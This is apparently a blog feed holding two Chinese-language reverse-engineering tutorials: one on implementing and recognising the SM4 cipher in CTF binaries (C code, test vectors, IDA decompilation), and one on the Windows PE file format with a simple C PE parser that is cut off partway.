k[i + 4] = k[i] ^ (sm4CalciRK(k[i + 1] ^ k[i + 2] ^ k[i + 3] ^ CK[i]));
SK[i] = k[i + 4];
}

}

/*
* SM4 standard one round processing
*
*/
static void sm4_one_round(unsigned long sk[32],
unsigned char input[16],
unsigned char output[16])
{
unsigned long i = 0;
unsigned long ulbuf[36];

memset(ulbuf, 0, sizeof(ulbuf));
GET_ULONG_BE(ulbuf[0], input, 0)
GET_ULONG_BE(ulbuf[1], input, 4)
GET_ULONG_BE(ulbuf[2], input, 8)
GET_ULONG_BE(ulbuf[3], input, 12)
while (i<32)
{
ulbuf[i + 4] = sm4F(ulbuf[i], ulbuf[i + 1], ulbuf[i + 2], ulbuf[i + 3], sk[i]);
// #ifdef _DEBUG
// printf("rk(%02d) = 0x%08x, X(%02d) = 0x%08x \n",i,sk[i], i, ulbuf[i+4] );
// #endif
i++;
}
PUT_ULONG_BE(ulbuf[35], output, 0);
PUT_ULONG_BE(ulbuf[34], output, 4);
PUT_ULONG_BE(ulbuf[33], output, 8);
PUT_ULONG_BE(ulbuf[32], output, 12);
}

/*
* SM4 key schedule (128-bit, encryption)
*/
void sm4_setkey_enc(sm4_context *ctx, unsigned char key[16])
{
ctx->mode = SM4_ENCRYPT;
sm4_setkey(ctx->sk, key);
}

/*
* SM4 key schedule (128-bit, decryption)
*/
void sm4_setkey_dec(sm4_context *ctx, unsigned char key[16])
{
int i;
ctx->mode = SM4_ENCRYPT;
sm4_setkey(ctx->sk, key);
for (i = 0; i < 16; i++)
{
SWAP(ctx->sk[i], ctx->sk[31 - i]);
}
}


/*
* SM4-ECB block encryption/decryption
*/

void sm4_crypt_ecb(sm4_context *ctx,
int mode,
int length,
unsigned char *input,
unsigned char *output)
{
while (length > 0)
{
sm4_one_round(ctx->sk, input, output);
input += 16;
output += 16;
length -= 16;
}

}

/*
* SM4-CBC buffer encryption/decryption
*/
void sm4_crypt_cbc(sm4_context *ctx,
int mode,
int length,
unsigned char iv[16],
unsigned char *input,
unsigned char *output)
{
int i;
unsigned char temp[16];

if (mode == SM4_ENCRYPT)
{
while (length > 0)
{
for (i = 0; i < 16; i++)
output[i] = (unsigned char)(input[i] ^ iv[i]);

sm4_one_round(ctx->sk, output, output);
memcpy(iv, output, 16);

input += 16;
output += 16;
length -= 16;
}
}
else /* SM4_DECRYPT */
{
while (length > 0)
{
memcpy(temp, input, 16);
sm4_one_round(ctx->sk, input, output);

for (i = 0; i < 16; i++)
output[i] = (unsigned char)(output[i] ^ iv[i]);

memcpy(iv, temp, 16);

input += 16;
output += 16;
length -= 16;
}
}
}

sm4.h头文件,mode选择加密模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
/**
* \file sm4.h
*/
#ifndef XYSSL_SM4_H
#define XYSSL_SM4_H

#define SM4_ENCRYPT 1
#define SM4_DECRYPT 0

/**
* \brief SM4 context structure
*/
typedef struct
{
int mode; /*!< encrypt/decrypt */
unsigned long sk[32]; /*!< SM4 subkeys */
}
sm4_context;


#ifdef __cplusplus
extern "C" {
#endif

/**
* \brief SM4 key schedule (128-bit, encryption)
*
* \param ctx SM4 context to be initialized
* \param key 16-byte secret key
*/
void sm4_setkey_enc(sm4_context *ctx, unsigned char key[16]);

/**
* \brief SM4 key schedule (128-bit, decryption)
*
* \param ctx SM4 context to be initialized
* \param key 16-byte secret key
*/
void sm4_setkey_dec(sm4_context *ctx, unsigned char key[16]);

/**
* \brief SM4-ECB block encryption/decryption
* \param ctx SM4 context
* \param mode SM4_ENCRYPT or SM4_DECRYPT
* \param length length of the input data
* \param input input block
* \param output output block
*/
void sm4_crypt_ecb(sm4_context *ctx,
int mode,
int length,
unsigned char *input,
unsigned char *output);

/**
* \brief SM4-CBC buffer encryption/decryption
* \param ctx SM4 context
* \param mode SM4_ENCRYPT or SM4_DECRYPT
* \param length length of the input data
* \param iv initialization vector (updated after use)
* \param input buffer holding the input data
* \param output buffer holding the output data
*/
void sm4_crypt_cbc(sm4_context *ctx,
int mode,
int length,
unsigned char iv[16],
unsigned char *input,
unsigned char *output);

#ifdef __cplusplus
}
#endif

#endif /* sm4.h */

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// test.c
#include <string.h>
#include <stdio.h>
#include "sm4.h"

int main()
{
unsigned char key[16] = { 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, 0xfe, 0xdc, 0xba, 0x98, 0x76, 0x54, 0x32, 0x10 };
unsigned char input[16] = { 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, 0xfe, 0xdc, 0xba, 0x98, 0x76, 0x54, 0x32, 0x10 };
unsigned char output[16];
sm4_context ctx;
unsigned long i;

//encrypt standard testing vector
sm4_setkey_enc(&ctx, key);
sm4_crypt_ecb(&ctx, 1, 16, input, output);
for (i = 0; i<16; i++)
printf("%02x ", output[i]);
printf("\n");

//解密测试
sm4_setkey_dec(&ctx, key);
sm4_crypt_ecb(&ctx, 0, 16, output, output);
for (i = 0; i<16; i++)
printf("%02x ", output[i]);
printf("\n");

//decrypt 1M times testing vector based on standards.
i = 0;
sm4_setkey_enc(&ctx, key);
while (i<1000000)
{
sm4_crypt_ecb(&ctx, 1, 16, input, input);
i++;
}
for (i = 0; i<16; i++)
printf("%02x ", input[i]);
printf("\n");

return 0;
}

运行结果

1
2
3
4
C:\Users\thunder>"D:\AlgorithmTest.exe"
68 1e df 34 d2 06 96 5e 86 b3 e9 4f 53 6e 42 46
01 23 45 67 89 ab cd ef fe dc ba 98 76 54 32 10
59 52 98 c7 c6 fd 27 1f 04 02 f8 04 c3 3d 3f 66

解密

pysm4是国密SM4算法的Python实现,这里下载

1
2
3
4
5
6
7
8
9
10
11
12
13
>>> from pysm4 import encrypt, decrypt
# 明文
>>> clear_num = 0x0123456789abcdeffedcba9876543210
# 密钥
>>> mk = 0x0123456789abcdeffedcba9876543210
# 加密
>>> cipher_num = encrypt(clear_num, mk)
>>> hex(cipher_num)[2:].replace('L', '')
'681edf34d206965e86b3e94f536e4246'
# 解密
>>> clear_num == decrypt(cipher_num, mk)
True
>>>

辨别

CTF逆向可以通过判断S盒的值来猜测SM4算法,通过S盒生成4个8位的字符,我们将上面实现代码放入IDA中查看,我们可以通过输入明文密钥的格式来猜测SM4算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
__int64 main()
{
int v0; // edx
__int64 v1; // ST0C_8
unsigned int i; // [esp+D0h] [ebp-E0h]
sm4_context ctx; // [esp+DCh] [ebp-D4h]
char output[16]; // [esp+168h] [ebp-48h]
char input[16]; // [esp+180h] [ebp-30h]
char key[16]; // [esp+198h] [ebp-18h]

key[0] = 1;
key[1] = 0x23;
key[2] = 0x45;
key[3] = 0x67;
key[4] = 0x89u;
key[5] = 0xABu;
key[6] = 0xCDu;
key[7] = 0xEFu;
key[8] = 0xFEu;
key[9] = 0xDCu;
key[10] = 0xBAu;
key[11] = 0x98u;
key[12] = 0x76;
key[13] = 0x54;
key[14] = 0x32;
key[15] = 0x10;
input[0] = 1;
input[1] = 0x23;
input[2] = 0x45;
input[3] = 0x67;
input[4] = 0x89u;
input[5] = 0xABu;
input[6] = 0xCDu;
input[7] = 0xEFu;
input[8] = 0xFEu;
input[9] = 0xDCu;
input[10] = 0xBAu;
input[11] = 0x98u;
input[12] = 0x76;
input[13] = 0x54;
input[14] = 0x32;
input[15] = 0x10;
j__sm4_setkey_enc(&ctx, key);
j__sm4_crypt_ecb(&ctx, 1, 16, input, output);
for ( i = 0; i < 0x10; ++i )
_printf("%02x ", (unsigned __int8)output[i]);
_printf("\n");
j__sm4_setkey_dec(&ctx, key);
j__sm4_crypt_ecb(&ctx, 0, 16, output, output);
for ( i = 0; i < 0x10; ++i )
_printf("%02x ", (unsigned __int8)output[i]);
_printf("\n");
i = 0;
j__sm4_setkey_enc(&ctx, key);
while ( i < 0xF4240 )
{
j__sm4_crypt_ecb(&ctx, 1, 16, input, input);
++i;
}
for ( i = 0; i < 0x10; ++i )
_printf("%02x ", (unsigned __int8)input[i]);
_printf("\n");
HIDWORD(v1) = v0;
LODWORD(v1) = 0;
return v1;
}

算法中的T变换观察返回值也有很明显的特征

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned int __cdecl sm4F(unsigned int x0, unsigned int x1, unsigned int x2, unsigned int x3, unsigned int rk)
{
return x0 ^ (unsigned __int64)sm4Lt(rk ^ x3 ^ x2 ^ x1); //返回多组异或
}

/************************************************************************************************/

__int64 __cdecl sm4Lt(unsigned int ka)
{
unsigned __int8 b; // STD8_1
unsigned __int8 b_1; // STD9_1
unsigned __int8 b_2; // STDA_1
unsigned __int8 v4; // al
unsigned int bb; // STFC_4
__int64 v6; // ST00_8

b = sm4Sbox(SHIBYTE(ka));
b_1 = sm4Sbox(SBYTE2(ka));
b_2 = sm4Sbox(SBYTE1(ka));
v4 = sm4Sbox(ka);
bb = v4 | (b_2 << 8) | (b_1 << 16) | (b << 24); // 分4组每组8位计算
HIDWORD(v6) = (bb >> 8) | (bb << 24);
LODWORD(v6) = HIDWORD(v6) ^ ((bb >> 14) | (bb << 18)) ^ ((bb >> 22) | (bb << 10)) ^ bb ^ ((bb >> 30) | 4 * bb);
return v6;
}

例题

2019ciscn-bbvvmm

下面的代码和上面的对比可以很容易的猜到SM4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 __fastcall sub_400EE2(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5)
{
return a1 ^ sub_400D87(a5 ^ a4 ^ a3 ^ a2);
}

/************************************************************************************************/

__int64 __cdecl sm4Lt(unsigned int ka)
{
unsigned __int8 b; // STD8_1
unsigned __int8 b_1; // STD9_1
unsigned __int8 b_2; // STDA_1
unsigned __int8 v4; // al
unsigned int bb; // STFC_4
__int64 v6; // ST00_8

b = sm4Sbox(SHIBYTE(ka));
b_1 = sm4Sbox(SBYTE2(ka));
b_2 = sm4Sbox(SBYTE1(ka));
v4 = sm4Sbox(ka);
bb = v4 | (b_2 << 8) | (b_1 << 16) | (b << 24);
HIDWORD(v6) = (bb >> 8) | (bb << 24);
LODWORD(v6) = HIDWORD(v6) ^ ((bb >> 14) | (bb << 18)) ^ ((bb >> 22) | (bb << 10)) ^ bb ^ ((bb >> 30) | 4 * bb);
return v6;
}

0x04:Reference

Base

1
2
http://www.cnblogs.com/hongru/archive/2012/01/14/2321397.html
https://blog.csdn.net/u011491972/article/details/52800177

RC4

1
2
https://blog.csdn.net/Fly_hps/article/details/79918495
https://baike.baidu.com/item/RC4/3454548?fr=aladdin

SM4

1
2
3
4
https://neuqzxy.github.io/2017/06/15/%E6%AC%A3%E4%BB%94%E5%B8%A6%E4%BD%A0%E9%9B%B6%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8SM4%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95/
https://baike.baidu.com/item/SM4.0/3901780?fr=aladdin
https://max.book118.com/html/2018/1023/8017013004001130.shtm
https://blog.csdn.net/cg129054036/article/details/83012721
]]>
<h1 id="0x00:Introduction"><a href="#0x00:Introduction" class="headerlink" title="0x00:Introduction"></a>0x00:Introduction</h1><p>本片文章主要逆向一些
PE结构详解 https://thunderjie.github.io/2019/03/27/PE结构详解/ 2019-03-27T09:05:41.000Z 2020-05-07T03:26:45.139Z 0x00:前言

PE文件可以说是在逆向的各个领域都有涉及,特别是病毒领域,如果你是一名病毒制造者,那你肯定是对PE文件有详细的了解,那么这里我就详细介绍一下PE文件,最后我们用C来写一个PE格式解析器。

0x01:PE格式

总体介绍

首先说明一个概念,可执行文件(Executable File)是指可以由操作系统直接加载执行的文件,在Windows操作系统中可执行文件就是PE文件结构,在Linux下则是ELF文件,我们这里只讨论Windows下的PE文件,要了解PE文件,首先要知道PE格式,那么什么是PE格式呢,既然是一个格式,那肯定是我们都需要遵循的定理,下面这张图就是PE文件格式的图片(来自看雪),非常大一张图片,其实PE格式就是各种结构体的结合,Windows下PE文件的各种结构体在WinNT.h这个头文件中,可以在VS中查询。

1

PE文件整体结构

PE结构可以大致分为:

  • DOS部分
  • PE文件头
  • 节表(块表)
  • 节数据(块数据)
  • 调试信息

PE指纹

为了更加直观的描述我们用16进制编辑器直接将一个exe文件载入,分析其结构,首先我们需要清楚的概念是PE指纹,也就是判断一个文件是否是PE文件的依据,首先是根据文件的前两个字节是否为4D 5A,也就是’MZ’,然后看第四排四个字节指向的地址00 00 00 f8是否为50 45,也就是’PE’,满足这两个条件也就满足了PE文件的格式,简称PE指纹,在后面制作解析器的时候会通过它来判断是否为一个有效的PE文件。

2

DOS部分

DOS部分主要是为了兼容以前的DOS系统,DOS部分可以分为DOS MZ文件头(IMAGE_DOS_HEADER)和DOS块(DOS Stub)组成,PE文件的第一个字节位于一个传统的MS-DOS头部,称作IMAGE_DOS_HEADER,其结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

DOS部分我们需要熟悉的是e_magic成员和e_lfanew成员,前者是标识PE指纹的一部分,后者则是寻找PE文件头的部分,除了这两个成员,其他成员全部用0填充都不会影响程序正常运行,所以我们不需要过多的对其他部分深究,DOS部分在16进制编辑器中看就是下图的部分:

3

我们可以看到e_lfanew指向PE文件头,我们可以通过它来寻找PE文件头,而DOS块的部分自然就是PE文件头和DOS MZ文件头中间的部分,这部分是由链接器所写入的,可以随意进行修改,并不影响程序的运行:

4

PE文件头

PE文件头由PE文件头标志,标准PE头,扩展PE头三部分组成。PE文件头标志自然是50 40 00 00,也就是’PE’,我们从结构体的角度看一下PE文件头的详细信息

1
2
3
4
5
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature; //PE文件头标志 => 4字节
IMAGE_FILE_HEADER FileHeader; //标准PE头 => 20字节
IMAGE_OPTIONAL_HEADER32 OptionalHeader; //扩展PE头 => 32位下224字节(0xE0) 64位下240字节(0xF0)
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

标准PE头结构如下,有20个字节,我们可以从PE文件头标志后20个字节找到它

1
2
3
4
5
6
7
8
9
typedef struct _IMAGE_FILE_HEADER {
WORD Machine; //可以运行在什么平台上 任意:0 ,Intel 386以及后续:14C x64:8664
WORD NumberOfSections; //节的数量
DWORD TimeDateStamp; //编译器填写的时间戳
DWORD PointerToSymbolTable; //调试相关
DWORD NumberOfSymbols; //调试相关
WORD SizeOfOptionalHeader; //标识扩展PE头大小
WORD Characteristics; //文件属性 => 16进制转换为2进制根据哪些位有1,可以查看相关属性
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

扩展PE头在32位和64位系统上大小是不同的,在32位系统上有224个字节,16进制就是0xE0,结构如下,重要的属性我都有标注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
typedef struct _IMAGE_OPTIONAL_HEADER {
//
// Standard fields.
//

WORD Magic;//PE32: 10B PE64: 20B
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;//所有含有代码的区块的大小 编译器填入 没用(可改)
DWORD SizeOfInitializedData;//所有初始化数据区块的大小 编译器填入 没用(可改)
DWORD SizeOfUninitializedData;//所有含未初始化数据区块的大小 编译器填入 没用(可改)
DWORD AddressOfEntryPoint;//程序入口RVA
DWORD BaseOfCode;//代码区块起始RVA
DWORD BaseOfData;//数据区块起始RVA

//
// NT additional fields.
//

DWORD ImageBase;//内存镜像基址(程序默认载入基地址)
DWORD SectionAlignment; //内存中对齐大小
DWORD FileAlignment; //文件中对齐大小(提高程序运行效率)
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;//内存中整个PE文件的映射的尺寸,可比实际值大,必须是SectionAlignment的整数倍
DWORD SizeOfHeaders; //所有的头加上节表文件对齐之后的值
DWORD CheckSum;//映像校验和,一些系统.dll文件有要求,判断是否被修改
WORD Subsystem;
WORD DllCharacteristics;//文件特性,不是针对DLL文件的,16进制转换2进制可以根据属性对应的表格得到相应的属性
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; //数据目录表,结构体数组
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

程序中的扩展PE头大小在标准PE头中的显示如下图

5

扩展PE头在程序中显示如下,每一个属性可以通过偏移找到

6

还需要知道的是,程序的真正入口点 = ImageBase + AddressOfEntryPoint

节表

节表的结构如下,整体为40个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; //ASCII字符串 可自定义 只截取8个字节
union { //该节在没有对齐之前的真实尺寸,该值可以不准确
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress; //内存中的偏移地址
DWORD SizeOfRawData; //节在文件中对齐的尺寸
DWORD PointerToRawData; //节区在文件中的偏移
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics; //节的属性
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

程序中显示如下

7

值得注意的是扩展PE头中的 FileAlignment 以及 SizeOfHeaders 这两个成员,SizeOfHeaders 表示所有的头加上节表文件对齐之后的值,对齐的大小参考的就是 FileAlignment 成员,如果所有的头加上节表的大小为320,FileAlignment 为 200,那么 SizeOfHeaders 大小就为 400,因为是根据FileAlignment 对齐的,这种对齐虽然牺牲了空间,但是可以提高程序运行效率,下图中的前面部分0x00100000就是程序在内存中对齐的大小,也就是程序运行起来时对齐的大小,0x00000400是程序在文件中的对齐大小,也就是没有运行时对齐的大小,需要清楚的是,PE程序在运行时内存中的对齐值和没有运行时的对齐值可能是截然不同的,了解这一点这对我们后面写PE解析器有帮助。

8

导入表

导出表(Import Table)和导入表是靠 IMAGE_DATA_DIRECTORY 这个结构体数组来寻找的,IMAGE_DATA_DIRECTORY 的结构如下

1
2
3
4
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

在程序中查找导出表如下图所示,因为结构体数组中每一个结构体大小为 16 位,又是扩展PE头中的最后一个成员,所以我们从节表段向上推 8 行即为我们的结构体数组开头,前 8 位是导出表的内容,因为是一个exe文件,这里刚好就没有导出表只有导入表,可以看到导入表RVA地址是0x00003700的位置

9

导入表的结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics; // 0 for terminating null import descriptor
DWORD OriginalFirstThunk; // RVA 指向 INT (PIMAGE_THUNK_DATA结构数组)
} DUMMYUNIONNAME;
DWORD TimeDateStamp; // 0 if not bound,
// -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)

DWORD ForwarderChain; // -1 if no forwarders
DWORD Name;//RVA指向dll名字,以0结尾
DWORD FirstThunk; // RVA 指向 IAT (PIMAGE_THUNK_DATA结构数组)
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;

可以看到,OriginalFirstThunk 和 FirstThunk 指向的内容分别是 INT 和 IAT ,但实际上 INT 和 IAT 的内容是一样的,所以他们指向的内容是一样的,只是方式不同而已,下图可以完美的解释

10

但是上图只是PE文件加载前的情况,PE文件一旦运行起来,就会变成下图的情况

11

我们还需要了解的结构体是 IMAGE_THUNK_DATA 和 IMAGE_IMPORT_BY_NAME 结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint; //可能为空,编译器决定,如果不为空,是函数在导出表的索引
BYTE Name[1]; //函数名称,以0结尾
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;

#include "pshpack8.h" // Use align 8 for the 64-bit IAT.

typedef struct _IMAGE_THUNK_DATA64 {
union {
ULONGLONG ForwarderString; // 指向一个转向者字符串的RVA
ULONGLONG Function; // 被输入的函数的内存地址
ULONGLONG Ordinal;// 被输入API的序数值
ULONGLONG AddressOfData; // 指针指向 IMAGE_IMPORT_BY_NAME
} u1;
} IMAGE_THUNK_DATA64;
typedef IMAGE_THUNK_DATA64 * PIMAGE_THUNK_DATA64;

#include "poppack.h" // Back to 4 byte packing

typedef struct _IMAGE_THUNK_DATA32 {
union {
DWORD ForwarderString; // PBYTE
DWORD Function; // PDWORD
DWORD Ordinal;
DWORD AddressOfData; // PIMAGE_IMPORT_BY_NAME
} u1;
} IMAGE_THUNK_DATA32;
typedef IMAGE_THUNK_DATA32 * PIMAGE_THUNK_DATA32;

其实他们的作用很明显,就是用来寻找当前的模块依赖哪些函数,可以用这几个结构体求到依赖函数的名字。

导出表

导出表(Export Table)一般是DLL文件用的比较多,exe文件很少有导出表,导出表的数据结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;// 指针指向该导出表文件名字符串
DWORD Base;// 导出函数起始序号
DWORD NumberOfFunctions;// 所有导出函数的个数
DWORD NumberOfNames;// 以函数名字导出的函数个数
DWORD AddressOfFunctions; // 指针指向导出函数地址表RVA
DWORD AddressOfNames; // 指针指向导出函数名称表RVA
DWORD AddressOfNameOrdinals; // 指针指向导出函数序号表RVA
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

可以看到导出表里面最后还有三个表,这三个表可以让我们找到函数真正的地址,在编写PE格式解析器的时候可以用到,AddressOfFunctions 是函数地址表,指向每个函数真正的地址,AddressOfNames 和 AddressOfNameOrdinals 分别是函数名称表和函数序号表,我们知道DLL文件有两种调用方式,一种是用名字,一种是用序号,通过这两个表可以用来寻找函数在 AddressOfFunctions 表中真正的地址。

重定位表

当PE文件被装载到虚拟内存的另一个地址中的时候,也就是载入时不将默认的值作为基地址载入,链接器登记的哪个地址是错误的,需要我们用重定位表来调整,重定位表在数据目录项的第 6 个结构,结构如下

1
2
3
4
5
6
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress; // 重定位数据的开始 RVA 地址
DWORD SizeOfBlock;// 重定位块的长度
// WORD TypeOffset[1];// 重定位项数组
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;

重定位表有许多个,以八个字节的 0 结尾

0x02:PE解析器编写

这里放一个由C写的简易的PE分析工具,写的比较简单,主要是为了熟悉PE结构,代码我也传到了GitHub上面,需要的可以自行下载。

下载链接

https://github.com/ThunderJie/Code/tree/master/PE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
#include<stdio.h>
#include<stdlib.h>
#include<windows.h>

DWORD RVAOffset(PIMAGE_NT_HEADERS pNtHeader, DWORD Rva)
{
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(pNtHeader);
for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++)
{
DWORD SectionBeginRva = pSectionHeader[i].VirtualAddress;

DWORD SectionEndRva = pSectionHeader[i].VirtualAddress + pSectionHeader[i].SizeOfRawData;
if (Rva >= SectionBeginRva && Rva <= SectionEndRva)
{
DWORD Temp = Rva - SectionBeginRva;
DWORD Rwa = Temp + pSectionHeader[i].PointerToRawData;
return Rwa;
}
}
}

int main(int argc, char* argv[])
{
HANDLE hFile;
HANDLE hMapping;
LPVOID ImageBase;
char szFilePath[MAX_PATH];
OPENFILENAME ofn;//定义结构,调用打开对话框选择要分析的文件及其保存路径
PIMAGE_DOS_HEADER pDH = NULL;//指向IMAGE_DOS结构的指针
PIMAGE_NT_HEADERS pNtH = NULL;//指向IMAGE_NT结构的指针
PIMAGE_FILE_HEADER pFH = NULL;//指向IMAGE_FILE结构的指针
PIMAGE_OPTIONAL_HEADER pOH = NULL;//指向IMAGE_OPTIONALE结构的指针

memset(szFilePath, 0, MAX_PATH);
memset(&ofn, 0, sizeof(ofn));

ofn.lStructSize = sizeof(ofn);
ofn.hwndOwner = NULL;
ofn.hInstance = GetModuleHandle(NULL);
ofn.nMaxFile = MAX_PATH;
ofn.lpstrInitialDir = ".";
ofn.lpstrFile = szFilePath;
ofn.lpstrTitle = "choose a PE file --by Thunder_J";
ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST | OFN_HIDEREADONLY;
ofn.lpstrFilter = "*.*\0*.*\0";

if (!GetOpenFileName(&ofn))
{
printf("打开文件错误:%d\n", GetLastError());
return 0;
}

hFile = CreateFile(szFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (!hFile)
{
MessageBox(NULL, "打开文件错误", NULL, MB_OK);
return 0;
}

hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
if (!hMapping)
{
printf("创建映射错误:%d", GetLastError());
CloseHandle(hFile);
return 0;
}

ImageBase = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
if (!ImageBase)
{
printf("文件映射错误:%d", GetLastError());
CloseHandle(hMapping);
CloseHandle(hFile);
return 0;
}
/************************************************************************/
/* PE头的判断 */
/************************************************************************/
if (!ImageBase) //判断映像地址
{
printf("Not a valid PE file 1!\n");
CloseHandle(hMapping);
CloseHandle(hFile);
return 0;
}
printf("--------------------PEheader------------------------\n");
pDH = (PIMAGE_DOS_HEADER)ImageBase;
if (pDH->e_magic!=IMAGE_DOS_SIGNATURE) //判断是否为MZ
{
printf("Not a valid PE file 2!\n");
CloseHandle(hMapping);
CloseHandle(hFile);
return 0;
}
pNtH = (PIMAGE_NT_HEADERS)((DWORD)pDH + pDH->e_lfanew); //判断是否为PE格式
if (pNtH->Signature!=IMAGE_NT_SIGNATURE)
{
printf("Not a valid PE file 3!\n");
CloseHandle(hMapping);
CloseHandle(hFile);
return 0;
}
printf("PE e_lfanew is: 0x%x\n", pNtH);

/************************************************************************/
/* FileHeader */
/************************************************************************/
pFH = &pNtH->FileHeader;
printf("-----------------FileHeader------------------------\n");
printf("NumberOfSections: %d\n", pFH->NumberOfSections);
printf("SizeOfOptionalHeader: %d\n", pFH->SizeOfOptionalHeader);

/************************************************************************/
/* OptionalHeader */
/************************************************************************/
pOH = &pNtH->OptionalHeader;
printf("-----------------OptionalHeader---------------------\n");
printf("SizeOfCode:0x%08x\n", pOH->SizeOfCode);
printf("AddressOfEntryPoint: 0x%08X\n", pOH->AddressOfEntryPoint);
printf("ImageBase is 0x%x\n", ImageBase);
